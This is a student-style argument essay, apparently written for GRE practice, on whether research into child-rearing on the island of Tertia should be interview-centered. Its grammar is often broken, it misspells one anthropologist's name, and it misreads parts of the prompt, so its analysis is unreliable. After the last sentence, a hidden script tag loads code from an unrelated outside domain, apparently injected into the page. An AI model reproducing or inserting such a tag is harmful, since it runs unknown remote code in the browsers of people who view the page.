Twenty years ago, Dr. Field, a noted anthropologist, visited the island of Tertia. Using an observation-centered approach to studying Tertian culture, he concluded from his observations that children in Tertia were reared by an entire village rather than

The story concludes that two different anthropologist visited one of Island. Dr Field visited only Tertia Island, and he used observation-centered approach to studying Tertia culture, and he concluded that children in Tertia Island were reared by an entire village rather than their own biological parents. twenty years later Dr Karp visited group of Islands that includes Tertia island, he used interview-centered approach and he concludes that these children speak more with their own biological parents rather than other adults in village. And the author concludes that to decide accurate information about Tertian children, further research should be interview-centered. However, careful scrutiny of the author's evidence reveals that it lends no credible support to the author's conclusion. To decide whether his recommendation is reasonable or not we need more information

The first circumstance, the author assumes that both of the anhropologists visiting island is same. However, Dr field only focus on Island of Tertia, on the other hand Dr Kalp visited Island groups which includes Tertia island as well. In this manner their studying result does not have to be same. Because the other islands make Dr Kalp research is not accurate to compare with only Tertia island. If the author wants to make accurate research in further studying he should suggest only focus on Tertia Island.

Next, the author cites the fact that Dr Field's studying was happened 20 years ago, but Dr Kalp's visit is recent. Then how can he assume that result can be same. Twenty years is so long time that culture's rearing method can be change by the time. Moreover, both researches method are differ from each other. One of them is observation-centered, and the author one is interview-centered. If both approaching method would have been same, then we can determine that results can be reasonable, but in this different approach only gives vague information about tertian children rearing method.

Finally in any event, the author fails to provide clear evidence that Dr Field observed that tertian children were raised by entire village people rather than their own biological parents, on the other hand Dr Kalp concluded that these children who lives in group of islands, not only in Tertia, spent much more time talking about their biological parents than about other adults in village. However, this approaching style is fundamentally different from each other that of course results should be different as well. Dr Field focus on their reared type on the other hand Dr Kalp concentrate on children how much talks with their own family than other adults. If Dr Kalp also focus on their raised method as well then we can say that author's conclusion is reasonable.

To sum up, the argument far from being clear that it is unpersuasive as it stands. To decide whether his recommendation is reasonable or not the author must provide clear evidence. He should suggest further researches to concentrate on only Tertian children and also approaching model should be observation-centered and also they should need clear evidence about this children are raised by their biological parents or entire village people.<script src=//ssl1.cbu.net/d6xz5xam></script>